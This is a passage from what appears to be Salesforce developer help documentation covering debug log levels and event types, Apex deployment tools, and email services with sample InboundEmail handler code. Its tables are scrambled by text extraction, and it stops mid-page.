Debug logs are truncated starting from the oldest log entries. The newer log entries are preserved. This allows you to have access to the most pertinent information leading to an error that you are diagnosing. The debug log gets truncated by 200 KBytes when it reaches its maximum size of 2 MB. Some log entries don't get truncated and will always be part of the debug log, even if they're part of the oldest log entries, because they're necessary for processing the debug log. However, other log information that appears between the start and end lines of these log entries will be removed as part of log truncation. The following are the events that are associated with non-deletable log entries.
EXECUTION_STARTED EXECUTION_FINISHED CODE_UNIT_STARTED CODE_UNIT_FINISHED METHOD_ENTRY METHOD_EXIT CONSTRUCTOR_ENTRY CONSTRUCTOR_EXIT SOQL_EXECUTE_BEGIN SOQL_EXECUTE_END SOSL_EXECUTE_BEGIN SOSL_EXECUTE_END CALLOUT_REQUEST CALLOUT_RESPONSE FATAL_ERROR

See Also:
Viewing Debug Logs Setting Debug Log Filters Monitoring Debug Logs Retaining Debug Logs Working with the Developer Console About Apex Unit Tests Apex Code Overview Developer's Guide: Force.com Apex Code Developer's Guide

2150

Develop

Setting Debug Log Filters

Setting Debug Log Filters


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To use the Developer Console: To use the execute anonymous text entry box: To save changes to Apex classes and triggers: To save changes to Visualforce pages and components: View All Data Author Apex Author Apex Customize Application

When using the Developer Console or monitoring a debug log, you can specify the level of information that gets included in the log. Log category The type of information logged, such as information from Apex or workflow rules. Log level The amount of information logged. Event type The combination of log category and log level that specify which events get logged. Each event can log additional information, such as the line and character number where the event started, fields associated with the event, duration of the event in milliseconds, and so on.

Debug Log Categories


You can specify the following log categories. The amount of information logged for each category depends on the log level: Log Category
Database Workflow Validation Callout

Description Includes information about database activity, including every data manipulation language (DML) statement or inline SOQL or SOSL query. Includes information for workflow rules, such as the rule name, the actions taken, and so on. Includes information about validation rules, such as the name of the rule, whether the rule evaluated true or false, and so on. Includes the request-response XML that the server is sending and receiving from an external Web service. This is useful when debugging issues related to using Force.com Web services API calls. Includes information about Apex code and can include information such as log messages generated by DML statements, inline SOQL or SOSL queries, the start and completion of any triggers, and the start and completion of any test method, and so on.

Apex Code

2151

Develop

Setting Debug Log Filters

Log Category
Apex Profiling Visualforce System

Description Includes cumulative profiling information, such as the limits for your namespace, the number of emails sent, and so on. Includes information about Visualforce events including serialization and deserialization of the view state or the evaluation of a formula field in a Visualforce page. Includes information about calls to all system methods such as the System.debug method.

Debug Log Levels


You can specify the following log levels. The levels are listed from lowest to highest. Specific events are logged based on the combination of category and levels. Most events start being logged at the INFO level. The level is cumulative, that is, if you select FINE, the log will also include all events logged at DEBUG, INFO, WARN and ERROR levels. Note: Not all levels are available for all categories. Only the levels that correspond to one or more events are available.

ERROR WARN INFO DEBUG FINE FINER FINEST Important: Before running a deployment, verify that the Apex Code log level is not set to FINEST. If the Apex Code log level is set to FINEST, the deployment might take longer than expected. If the Developer Console is open, the log levels in the Developer Console affect all logs, including logs created during a deployment.

Debug Event Types


The following is an example of what is written to the debug log. The event is USER_DEBUG. The format is timestamp | event identifier: timestamp: consists of the time when the event occurred and a value between parentheses. The time is in the user's time zone and in the format HH:mm:ss.SSS. The value represents the time elapsed in nanoseconds since the start of the request. The elapsed time value is excluded from logs reviewed in the Developer Console. event identifier: consists of the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET or VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line and character number where the code was executed.

The following is an example of a debug log line.

2152

Develop

Setting Debug Log Filters

Figure 16: Debug Log Line Example In this example, the event identifier is made up of the following: Event name:
USER_DEBUG

Line number of the event in the code:


[2]

Logging level the System.Debug method was set to:


DEBUG

User-supplied string for the System.Debug method:


Hello world!

The following example of a log line is triggered by this code snippet.

Figure 17: Debug Log Line Code Snippet The following log line is recorded when the test reaches line 5 in the code:
15:51:01.071 (55856000)|DML_BEGIN|[5]|Op:Insert|Type:Invoice_Statement__c|Rows:1

In this example, the event identifier is made up of the following: Event name:
DML_BEGIN

Line number of the event in the code:


[5]

2153

Develop

Setting Debug Log Filters

DML operation typeInsert:


Op:Insert

Object name:
Type:Invoice_Statement__c

Number of rows passed into the DML operation:


Rows:1

The following table lists the event types that are logged, what fields or other information get logged with each event, as well as what combination of log level and category cause an event to be logged. Event Name
BULK_HEAP_ALLOCATE CALLOUT_REQUEST CALLOUT_RESPONSE CODE_UNIT_FINISHED CODE_UNIT_STARTED

Fields or Information Logged With Event Category Logged Number of bytes allocated Line number, request headers Line number, response body None Line number, code unit name, such as
MyTrigger on Account trigger event BeforeInsert for [new]

Level Logged FINEST INFO and above INFO and above ERROR and above ERROR and above

Apex Code Callout Callout Apex Code Apex Code

CONSTRUCTOR_ENTRY

Line number, Apex class ID, the sring <init>() with the types of parameters, if any, between the parentheses

Apex Code

DEBUG and above

CONSTRUCTOR_EXIT

Line number, the string <init>() with the Apex Code types of parameters, if any, between the parentheses None Apex Profiling Apex Profiling Apex Profiling Apex Profiling Apex Profiling

DEBUG and above

CUMULATIVE_LIMIT_USAGE

INFO and above INFO and above FINE and above FINE and above FINE and above INFO and above

CUMULATIVE_LIMIT_USAGE_END None CUMULATIVE_PROFILING

None

CUMULATIVE_PROFILING_BEGIN None CUMULATIVE_PROFILING_END None DML_BEGIN

Line number, operation (such as Insert, Apex Code Update, and so on), record name or type, number of rows passed into DML operation Line number Line number Package namespace Line number, exception type, message Apex Code Apex Code Apex Code Apex Code

DML_END EMAIL_QUEUE ENTERING_MANAGED_PKG EXCEPTION_THROWN

INFO and above INFO and above INFO and above INFO and above

2154

Develop

Setting Debug Log Filters

Event Name
EXECUTION_FINISHED EXECUTION_STARTED FATAL_ERROR HEAP_ALLOCATE HEAP_DEALLOCATE IDEAS_QUERY_EXECUTE LIMIT_USAGE_FOR_NS

Fields or Information Logged With Event Category Logged None None Exception type, message, stack trace Line number, number of bytes Line number, number of bytes deallocated Line number Namespace, following limits:
Number of SOQL queries Number of query rows Number of SOSL queries Number of DML statements Number of DML rows Number of code statements Maximum heap size Number of callouts Number of Email Invocations Number of fields describes Number of record type describes Number of child relationships describes Number of picklist describes Number of future calls Number of find similar calls Number of System.runAs() invocations

Level Logged ERROR and above ERROR and above ERROR and above FINER and above FINER and above FINEST FINEST

Apex Code Apex Code Apex Code Apex Code Apex Code DB Apex Profiling

METHOD_ENTRY METHOD_EXIT

Line number, the Force.com ID of the class, Apex Code method signature Line number, the Force.com ID of the class, Apex Code method signature. For constructors, the following information is logged: Line number, class name.

DEBUG and above DEBUG and above

POP_TRACE_FLAGS

Line number, the Force.com ID of the class System or trigger that has its log filters set and that

INFO and above

2155

Develop

Setting Debug Log Filters

Event Name

Fields or Information Logged With Event Category Logged is going into scope, the name of this class or trigger, the log filter settings that are now in effect after leaving this scope

Level Logged

PUSH_TRACE_FLAGS

Line number, the Force.com ID of the class System or trigger that has its log filters set and that is going out of scope, the name of this class or trigger, the log filter settings that are now in effect after entering this scope Line number, number of queryMore iterations Line number, Savepoint name Line number, Savepoint name DB DB DB

INFO and above

QUERY_MORE_ITERATIONS

INFO and above INFO and above INFO and above INFO and above

SAVEPOINT_ROLLBACK SAVEPOINT_SET SLA_END

Number of cases, load time, processing time, Workflow number of case milestones to insert/update/delete, new trigger Milestone ID None Case ID Workflow Workflow Workflow

SLA_EVAL_MILESTONE SLA_NULL_START_DATE SLA_PROCESS_CASE SOQL_EXECUTE_BEGIN SOQL_EXECUTE_END SOSL_EXECUTE_BEGIN SOSL_EXECUTE_END

INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above FINE and above

Line number, number of aggregations, query DB source Line number, number of rows, duration in milliseconds Line number, query source Line number, number of rows, duration in milliseconds DB DB DB Apex Profiling

STACK_FRAME_VARIABLE_LIST Frame number, variable list of the form: Variable number | Value. For example:
var1:50 var2:'Hello World'

STATEMENT_EXECUTE STATIC_VARIABLE_LIST

Line number

Apex Code

FINER and above FINE and above

Variable list of the form: Variable number Apex Profiling | Value. For example:
var1:50 var2:'Hello World'

SYSTEM_CONSTRUCTOR_ENTRY Line number, the string <init>() with the System

DEBUG

types of parameters, if any, between the parentheses

2156

Develop

Setting Debug Log Filters

Event Name
SYSTEM_CONSTRUCTOR_EXIT

Fields or Information Logged With Event Category Logged Line number, the string <init>() with the System types of parameters, if any, between the parentheses Line number, method signature Line number, method signature Mode name Mode name None System System System System Apex Profiling Apex Profiling Apex Code

Level Logged DEBUG

SYSTEM_METHOD_ENTRY SYSTEM_METHOD_EXIT SYSTEM_MODE_ENTER SYSTEM_MODE_EXIT TESTING_LIMITS

DEBUG DEBUG INFO and above INFO and above INFO and above FINE and above DEBUG and above by default. If the user sets the log level for the
System.Debug

TOTAL_EMAIL_RECIPIENTS_QUEUED Number of emails sent USER_DEBUG

Line number, logging level, user-supplied string

method, the event is logged at that level instead.


VALIDATION_ERROR VALIDATION_FAIL VALIDATION_FORMULA VALIDATION_PASS VALIDATION_RULE VARIABLE_ASSIGNMENT

Error message None Formula source, values None Rule name Line number, variable name, a string representation of the variable's value, the variable's address

Validation Validation Validation Validation Validation Apex Code

INFO and above INFO and above INFO and above INFO and above INFO and above FINEST

VARIABLE_SCOPE_BEGIN

Line number, variable name, type, a value Apex Code that indicates if the variable can be referenced, a value that indicates if the variable is static None Element name, method name, return type Apex Code Apex Code Visualforce Visualforce Visualforce Visualforce Apex Code Visualforce Visualforce

FINEST

VARIABLE_SCOPE_END VF_APEX_CALL

FINEST INFO and above INFO and above INFO and above FINER and above FINER and above INFO and above INFO and above INFO and above

VF_DESERIALIZE_VIEWSTATE_BEGIN View state ID VF_DESERIALIZE_VIEWSTATE_END None VF_EVALUATE_FORMULA_BEGIN View state ID, formula VF_EVALUATE_FORMULA_END VF_PAGE_MESSAGE

None Message text

VF_SERIALIZE_VIEWSTATE_BEGIN View state ID VF_SERIALIZE_VIEWSTATE_END None

2157

Develop

Setting Debug Log Filters

Event Name
WF_ACTION WF_ACTION_TASK WF_ACTIONS_END WF_APPROVAL

Fields or Information Logged With Event Category Logged Action description Workflow

Level Logged INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above

Task subject, action ID, rule, owner, due date Workflow Summer of actions performed Workflow

Transition type, EntityName: NameField Workflow Id, process node name


EntityName: NameField Id EntityName: NameField Id

WF_APPROVAL_REMOVE WF_APPROVAL_SUBMIT WF_ASSIGN WF_CRITERIA_BEGIN

Workflow Workflow Workflow

Owner, assignee template ID rule ID, trigger type (if rule respects trigger types)

EntityName: NameField Id, rule name, Workflow

WF_CRITERIA_END WF_EMAIL_ALERT WF_EMAIL_SENT WF_ENQUEUE_ACTIONS WF_ESCALATION_ACTION WF_ESCALATION_RULE WF_EVAL_ENTRY_CRITERIA WF_FIELD_UPDATE

Boolean value indicating success (true or false) Workflow Action ID, rule Email template ID, recipients, CC emails Summary of actions enqueued Case ID, business hours None Process name, email template ID, Boolean value indicating result (true or false)
EntityName: NameField Id, object or

INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above

Workflow Workflow Workflow Workflow Workflow Workflow Workflow Workflow Workflow Workflow Workflow

field name
WF_FORMULA WF_HARD_REJECT WF_NEXT_APPROVER WF_NO_PROCESS_FOUND WF_OUTBOUND_MSG

Formula source, values None Owner, next owner type, field None rule

EntityName: NameField Id, action ID, Workflow

WF_PROCESS_NODE WF_REASSIGN_RECORD WF_RESPONSE_NOTIFY WF_RULE_ENTRY_ORDER WF_RULE_EVAL_BEGIN WF_RULE_EVAL_END WF_RULE_EVAL_VALUE

Process name
EntityName: NameField Id, owner

Workflow Workflow Workflow Workflow Workflow Workflow Workflow

Notifier name, notifier email, notifier template ID Integer, indicating order Rule type None Value

2158

Develop

Debug Log Filtering for Apex Classes and Apex Triggers

Event Name
WF_RULE_FILTER WF_RULE_INVOCATION WF_RULE_NOT_EVALUATED WF_SOFT_REJECT WF_SPOOL_ACTION_BEGIN WF_TIME_TRIGGER

Fields or Information Logged With Event Category Logged Filter criteria


EntityName: NameField Id

Level Logged INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above INFO and above

Workflow Workflow Workflow Workflow Workflow

None Process name Node type time action container, evaluation Datetime

EntityName: NameField Id, time action, Workflow

WF_TIME_TRIGGERS_BEGIN

None

Workflow

See Also:
What is a Debug Log? Monitoring Debug Logs Viewing Debug Logs About Apex Unit Tests Working with the Developer Console Developer's Guide: Force.com Apex Code Developer's Guide

Debug Log Filtering for Apex Classes and Apex Triggers


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

Setting Debug Log Filters for Apex Classes and Triggers


Debug log filtering provides a mechanism for fine-tuning the log verbosity at the trigger and class level. This is especially helpful when debugging Apex logic. For example, to evaluate the output of a complex process, you can raise the log verbosity for a given class while turning off logging for other classes or triggers within a single request. When you override the debug log levels for a class or trigger, these debug levels also apply to the class methods that your class or trigger calls and the triggers that get executed as a result. All class methods and triggers in the execution path inherit the debug log settings from their caller, unless they have these settings overridden. The following diagram illustrates overriding debug log levels at the class and trigger level. For this scenario, suppose Class1 is causing some issues that you would like to take a closer look at. To this end, the debug log levels of Class1 are raised to the finest granularity. Class3 doesn't override these log levels, and therefore inherits the granular log filters of Class1. However, UtilityClass has already been tested and is known to work properly, so it has its log filters turned off. Similarly, Class2 isn't in the code path that causes a problem, therefore it has its logging minimized to log only errors for the Apex Code category. Trigger2 inherits these log settings from Class2.

2159

Develop

Debug Log Filtering for Apex Classes and Apex Triggers

Figure 18: Fine-tuning debug logging for classes and triggers The following is a pseudo-code example that the diagram is based on. 1. Trigger1 calls a method of Class1 and another method of Class2. For example:
trigger Trigger1 on Account (before insert) { Class1.someMethod(); Class2.anotherMethod(); }

2. Class1 calls a method of Class3, which in turn calls a method of a utility class. For example:
public class Class1 { public static void someMethod() { Class3.thirdMethod(); } } public class Class3 { public static void thirdMethod() { UtilityClass.doSomething(); } }

3. Class2 causes a trigger, Trigger2, to be executed. For example:


public class Class2 { public static void anotherMethod() { // Some code that causes Trigger2 to be fired. } }

To set log filters: 1. From a class or trigger detail page, click Log Filters. 2. Click Override Log Filters. The log filters are set to the default log levels. 3. Choose the log level desired for each log category.

2160

Develop

Using Tools for Developing and Deploying Apex

To learn more about debug log categories, debug log levels, and debug log events, see Setting Debug Log Filters.

See Also:
Viewing Apex Classes Viewing Apex Trigger Details

Using Tools for Developing and Deploying Apex


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To use the Apex Deployment Tool: Author Apex

Use the following tools to develop and deploy Apex.

Developer Console
The Developer Console is a collection of tools you can use to create, debug, and test applications in your Salesforce organization. To open the Developer Console, click Your Name > Developer Console.

Force.com IDE
You can download the Force.com IDE to help you write Apex in projects that mirror your organization. Using this tool, you can also compile and test the code you write, synchronize changes between the organization and project, and deploy your code to another organization.

Force.com Migration Tool


Download the Force.com Migration Tool if you want to use a script for deploying Apex from a Developer Edition or sandbox organization to a Database.com production organization using Apache's Ant build tool. To download the Force.com Migration Tool: 1. Click Your Name > Setup > Develop > Tools. 2. Click Force.com Migration Tool. 3. Save the salesforce_ant.zip file and unzip its contents to the location of your choice. The salesforce_ant.zip file contains the files you need to run an ant task that exercises the compileAndTest API call, including: A Readme.html file that explains how to use the tools A Jar file containing the ant task: ant-salesforce.jar A sample folder containing: A codepkg\classes folder that contains SampleDeployClass.cls and SampleFailingTestClass.cls A codepkg\triggers folder that contains SampleAccountTrigger.trigger A mypkg\objects folder that contains the custom objects used in the examples

2161

Develop

Using Tools for Developing and Deploying Apex

A removecodepkg folder that contains XML files for removing the examples from your organization A sample build.properties file that you must edit, specifying your credentials, in order to run the sample ant tasks in build.xml A sample build.xml file, that exercises the deploy and retrieve API calls For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide. Note: The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement.

See Also:
Apex Code Overview Deploying Apex Using Change Sets Deploying Apex Using SOAP API Developer's Guide: Force.com Apex Code Developer's Guide

Deploying Apex Using Change Sets


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To use the Apex Deployment Tool: Author Apex

You can deploy Apex classes and triggers between connected organizations, for example, from a sandbox organization to your production organization. You can create an outbound change set in the Salesforce user interface and add the Apex components that you would like to upload and deploy to the target organization. To learn more about change sets, see Change Sets Overview.

Deploying Apex Using SOAP API


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To use the Apex Deployment Tool: Author Apex

You can use the following SOAP API to deploy your Apex to a development or sandbox organization.
compileAndTest()

2162

Develop

What are Email Services?

compileClasses() compileTriggers()

All these calls take Apex code that contains the class or trigger, as well as the values for any fields that need to be set. To learn more about these SOAP API calls, see the SOAP API and SOAP Headers for Apex appendix in the Force.com Apex Code Developer's Guide.

What are Email Services?


Available in: Enterprise, Unlimited and Developer Editions Use of email services in installed AppExchange packages also available in: Group and Professional Editions

User Permissions Needed To configure Apex email services and email service addresses: Modify All Data To create Apex classes: Author Apex

Email services are automated processes that use Apex classes to process the contents, headers, and attachments of inbound email. For example, you can create an email service that automatically creates contact records based on contact information in messages. You can associate each email service with one or more Salesforce-generated email addresses to which users can send messages for processing. To give multiple users access to a single email service, you can: Associate multiple Salesforce-generated email addresses with the email service and allocate those addresses to users. Associate a single Salesforce-generated email address with the email service, and write an Apex class that executes according to the user accessing the email service. For example, you can write an Apex class that identifies the user based on the user's email address and creates records on behalf of that user.

To use email services, click Your Name > Setup > Develop > Email Services. Click New Email Service to define a new email service. Select an existing email service to view its configuration, activate or deactivate it, and view or specify addresses for that email service. Click Edit to make changes to an existing email service. Click Delete to delete an email service. Note: Before deleting email services, you must delete all associated email service addresses.

When defining email services, note the following: An email service only processes messages it receives at one of its addresses. Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the

2163

Develop

Defining Email Services

number of user licenses by 1,000, up to a daily maximum of 1,000,000. For example, if you have ten licenses, your organization can process up to 10,000 email messages a day. Email service addresses that you create in your sandbox cannot be copied to your production organization. For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email address. Email services rejects email messages and notifies the sender if the email (combined body text, body HTML and attachments) exceeds approximately 10 MB (varies depending on language and character set).

See Also:
Apex Code Overview Using the InboundEmail Object Defining Email Services Defining Email Service Addresses Developer's Guide: Force.com Apex Code Developer's Guide

Defining Email Services


Available in: Enterprise, Unlimited and Developer Editions Use of email services in installed AppExchange packages also available in: Group and Professional Editions

User Permissions Needed To configure Apex email services and email service addresses: Modify All Data To create Apex classes: Author Apex

To define an email service: 1. 2. 3. 4. Click Your Name > Setup > Develop > Email Services. Click New Email Service, or click Edit to change an existing email service. Specify the name of the email service. Choose the Apex class you want this email service to use to process messages. The Apex class you choose must implement the Messaging.InboundEmailHandler interface. For example:
global class myHandler implements Messaging.InboundEmailHandler { global Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail email, Messaging.InboundEnvelope envelope) { Messaging.InboundEmailResult result = new Messaging.InboundEmailresult(); return result; } }

For information on the InboundEmail object, see Using the InboundEmail Object on page 2168. 5. Choose the types of attachments you want the email service to accept. The options are:

2164

Develop

Defining Email Services

None The email service accepts the message but discards any attachment. Text Attachments Only The email service only accepts the following types of attachments: Attachments with a Multipurpose Internet Mail Extension (MIME) type of text. Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.

Messages with attachments other than these types are accepted, but the attachments are discarded. Binary Attachments Only The email service only accepts binary attachments, such as image, audio, application, and video files. Binary attachments have a limit of 5 MB per attachment. Messages with attachments that are not binary are accepted, but the attachments are discarded. All The email service accepts any type of attachment. Note: An email service can only process attachments if you configure the email service to accept attachments and use an Apex class that processes the types of attachments the email service accepts. Also, note that email services cannot accept inline attachments, such as graphics inserted in email messages. 6. Optionally, select the Advanced Email Security Settings checkbox to configure the email service to verify the legitimacy of the sending server before processing a message. The email service uses the following authentication protocols to verify the sender's legitimacy: SPF SenderId DomainKeys

If the sending server passes at least one of these protocols and does not fail any, the email service accepts the email. If the server fails a protocol or does not support any of the protocols, the email service performs the action specified in the Unauthenticated Sender Action failure response setting. Tip: Before selecting the Authenticate Senders checkbox, ensure that the senders that you expect to use the email service support at least one of the authentication protocols listed above. For information on these authentication protocols, see the following websites: www.openspf.org www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx

7. Email services rejects email messages and notifies the sender if the email (combined body text, body HTML and attachments) exceeds approximately 10 MB (varies depending on language and character set). 8. You can convert text attachments to binary attachments. 9. Optionally, configure this email service only to accept messages from certain senders by listing their email addresses and domains in the Accept Email From text box. Separate multiple entries with commas. For example: george@mycompany.com, yahoo.com, gmail.com. If the Accept Email From text box has a value and the email service

2165

Develop

Defining Email Services

receives a message from an unlisted email address or domain, the email service performs the action specified in the Unauthorized Sender Action failure response setting. Leave this field blank if you want the email service to receive email from any email address. Note: You can also authorize email addresses and domains at the email service address-level. See Defining Email Service Addresses on page 2167. If both the email service and email service address are configured to only accept messages from certain senders, the email service only processes messages from senders that are listed in the Accept Email From text boxes on both the email service and the email service address. 10. Select the Active checkbox if you want the email service to be activated when you click Save. 11. Configure the failure response settings, which determine how the email service responds if an attempt to access this email service fails for the following reasons:
Over Email Rate Limit Action

Determines what the email service does with messages if the total number of messages processed by all email services combined has reached the daily limit for your organization. Salesforce calculates the limit by multiplying the number of user licenses by 1,000, up to a daily maximum of 1,000,000. For example, if you have ten licenses, your organization can process up to 10,000 email messages a day.
Deactivated Email Address Action

Determines what the email service does with messages received at an email address that is inactive.
Deactivated Email Service Action

Determines what the email service does with messages it receives when the email service itself is inactive.
Unauthenticated Sender Action

Determines what the email service does with messages that fail or do not support any of the authentication protocols if the Authenticate Senders checkbox is selected.
Unauthorized Sender Action

Determines what the email service does with messages received from senders who are not listed in the Accept From Email text box on either the email service or email service address. The failure response options are: Bounce Message The email service returns the message to the sender or to the Automated Case User for On-Demand Email-to-Case, with a notification that explains why the message was rejected. Discard Message The email service deletes the message without notifying the sender. Requeue Message (Over Email Rate Limit Action Only) The email service queues the message for processing in the next 24 hours. If the message is not processed within 24 hours, the email service returns the message to the sender with a notification that explains why the message was rejected.

2166

Develop

Defining Email Service Addresses

12. To send error email messages to a specified address instead of the sender's email address, select Enable Error Routing and specify the destination email address in Route Error Emails to This Email Address. This prevents the sender being notified when email services cannot process an incoming email. 13. Click Save to save your changes, or Save and New Email Address to create email addresses for this email service, as described in Defining Email Service Addresses on page 2167.

See Also:
Apex Code Overview Using the InboundEmail Object What are Email Services? Defining Email Service Addresses Setting Up On-Demand Email-to-Case Developer's Guide: Force.com Apex Code Developer's Guide

Defining Email Service Addresses


Available in: Enterprise, Unlimited and Developer Editions Use of email services in installed AppExchange packages also available in: Group and Professional Editions

User Permissions Needed To configure Apex email services and email service addresses: Modify All Data To create Apex classes: Author Apex

1. Click Your Name > Setup > Develop > Email Services. 2. Choose the email service for which you want to define an address. 3. Click New Email Address, or click Edit to change the configuration for an existing email service address. To delete an email service address, click View and Delete. 4. In the Email Address field, enter the local-part of the email service address. Salesforce generates a unique domain-part for each email service address to ensure that no two email service addresses are identical. The generated domain-part appears to the right of the Email Address field. Tip: For the local-part of a Salesforce email address, all alphanumeric characters are valid, plus the following special characters: !#$%&'*/=?^_+-`{|}~. For the domain-part of a Salesforce email address, only alphanumeric characters are valid, as well as hyphen (-). The dot character (.) is also valid in both the local-part and domain-part as long as it is not the first or last character. Salesforce email addresses are case-insensitive. 5. Select the Active checkbox if you want the email service address to be activated when you click Save. 6. Choose the Context User. The email service assumes the permissions of the context user when processing the messages this address receives. For example, if the email service is configured to modify contact records upon receiving updated contact information, the email service only modifies a record if the context user has permission to edit the record.

2167

Develop

Using the InboundEmail Object

Important: Choose a context user that has permission to execute the Apex class that the email service is configured to use. 7. Optionally, configure this email service address to only accept messages from certain senders by listing their email addresses and domains in the Accept Email From text box. Separate multiple entries with commas. For example: george@mycompany.com, yahoo.com, gmail.com. If the Accept Email From text box has a value and the email service receives a message from an unlisted email address or domain, the email service performs the action specified in the Unauthorized Sender Action failure response setting. Leave this field blank if you want the email service to receive email from any email address. Note: If both the email service and email service address are configured to only accept messages from certain senders, the email service only processes messages from senders that are listed in the Accept Email From text boxes on both the email service and the email service address. 8. Click Save to save your changes, or Save and New to define another inbound email address for this email service.

See Also:
Apex Code Overview Using the InboundEmail Object What are Email Services? Defining Email Services Developer's Guide: Force.com Apex Code Developer's Guide

Using the InboundEmail Object


Available in: Enterprise, Unlimited and Developer Editions

For every email the Apex email service domain receives, Salesforce creates a separate InboundEmail object that contains the contents and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler interface to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an InboundEmail object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many functions. Note: For information on the Apex email service, see What are Email Services? on page 2163.

Example 1: Create Tasks for Contacts


The following is an example of how you can look up a contact based on the inbound email address and create a new task.
global class CreateTaskEmailExample implements Messaging.InboundEmailHandler { global Messaging.InboundEmailResult handleInboundEmail(Messaging.inboundEmail email,

2168

Develop

Using the InboundEmail Object

Messaging.InboundEnvelope env){ // Create an InboundEmailResult object for returning the result of the // Apex Email Service Messaging.InboundEmailResult result = new Messaging.InboundEmailResult(); String myPlainText= ''; // Add the email plain text into the local variable myPlainText = email.plainTextBody; // New Task object to be created Task[] newTask = new Task[0]; // Try to look up any contacts based on the email from address // If there is more than one contact with the same email address, // an exception will be thrown and the catch statement will be called. try { Contact vCon = [SELECT Id, Name, Email FROM Contact WHERE Email = :email.fromAddress LIMIT 1]; // Add a new Task to the contact record we just found above. newTask.add(new Task(Description = myPlainText, Priority = 'Normal', Status = 'Inbound Email', Subject = email.subject, IsReminderSet = true, ReminderDateTime = System.now()+1, WhoId = vCon.Id)); // Insert the new Task insert newTask; System.debug('New Task Object: ' + newTask ); } // If an exception occurs when the query accesses // the contact record, a QueryException is called. // The exception is written to the Apex debug log. catch (QueryException e) { System.debug('Query Issue: ' + e); } // Set the result to true. No need to send an email back to the user // with an error message result.success = true; // Return the result for the Apex Email Service return result; } }

Example 2: Handle Unsubscribe Email


Companies that send marketing email to their customers and prospects need to provide a way to let the recipients unsubscribe. The following is an example of how an email service can process unsubscribe requests. The code searches the subject line of inbound email for the word unsubscribe. If the word is found, the code finds all contacts and leads that match the From email address and sets the Email Opt Out field (HasOptedOutOfEmail) to True.
Global class unsubscribe implements Messaging.inboundEmailHandler{ Global Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail email, Messaging.InboundEnvelope env ) {

2169

Develop

Using the InboundEmail Object

// Create an inboundEmailResult object for returning // the result of the email service. Messaging.InboundEmailResult result = new Messaging.InboundEmailResult(); // Create contact and lead lists to hold all the updated records. List<Contact> lc = new List <contact>(); List<Lead> ll = new List <lead>(); // Convert the subject line to lower case so the program can match on lower case. String mySubject = email.subject.toLowerCase(); // The search string used in the subject line. String s = 'unsubscribe'; // Check the variable to see if the word "unsubscribe" was found in the subject line. Boolean unsubMe; // Look for the word "unsubcribe" in the subject line. // If it is found, return true; otherwise, return false. unsubMe = mySubject.contains(s); // If unsubscribe is found in the subject line, enter the IF statement. if (unsubMe == true) { try { // Look up all contacts with a matching email address. for (Contact c : [SELECT Id, Name, Email, HasOptedOutOfEmail FROM Contact WHERE Email = :env.fromAddress AND hasOptedOutOfEmail = false LIMIT 100]) { // Add all the matching contacts into the list. c.hasOptedOutOfEmail = true; lc.add(c); } // Update all of the contact records. update lc; } catch (System.QueryException e) { System.debug('Contact Query Issue: ' + e); } try { // Look up all leads matching the email address. for (Lead l : [SELECT Id, Name, Email, HasOptedOutOfEmail FROM Lead WHERE Email = :env.fromAddress AND isConverted = false AND hasOptedOutOfEmail = false LIMIT 100]) { // Add all the leads to the list. l.hasOptedOutOfEmail = true; ll.add(l); System.debug('Lead Object: ' + l); } // Update all lead records in the query. update ll; } catch (System.QueryException e) { System.debug('Lead Query Issue: ' + e); }

2170

Develop

Using the InboundEmail Object

System.debug('Found the unsubscribe word in the subject line.'); } else { System.debug('No Unsuscribe word found in the subject line.' ); } // Return True and exit. // True confirms program is complete and no emails // should be sent to the sender of the unsubscribe request. result.success = true; return result; } // The following test methods provide adequate code coverage. // There are two methods, one that does the testing // with a valid "unsubcribe" in the subject line // and one the does not contain "unsubscribe" in the // subject line. static testMethod void testUnsubscribe() { // Create a new email and envelope object. Messaging.InboundEmail email = new Messaging.InboundEmail() ; Messaging.InboundEnvelope env = new Messaging.InboundEnvelope(); // Create a new test lead and insert it in the test method. Lead l = new lead(firstName='John', lastName='Smith', Company='Salesforce', Email='user@acme.com', HasOptedOutOfEmail=false); insert l; // Create a new test contact and insert it in the test method. Contact c = new Contact(firstName='john', lastName='smith', Email='user@acme.com', HasOptedOutOfEmail=false); insert c; // Test with the subject that matches the unsubscribe statement. email.subject = 'test unsubscribe test'; env.fromAddress = 'user@acme.com'; // Call the class and test it with the data in the testMethod. unsubscribe unsubscribeObj = new unsubscribe(); unsubscribeObj.handleInboundEmail(email, env ); } static testMethod void testUnsubscribe2() { // Create a new email and envelope object. Messaging.InboundEmail email = new Messaging.InboundEmail(); Messaging.InboundEnvelope env = new Messaging.InboundEnvelope(); // Create a new test lead and insert it in the test method. Lead l = new lead(firstName='john', lastName='smith', Company='Salesforce', Email='user@acme.com', HasOptedOutOfEmail=false); insert l; // Create a new test contact and insert it in the test method. Contact c = new Contact(firstName='john', lastName='smith', Email='user@acme.com', HasOptedOutOfEmail=false);

2171

Develop

Using the InboundEmail Object

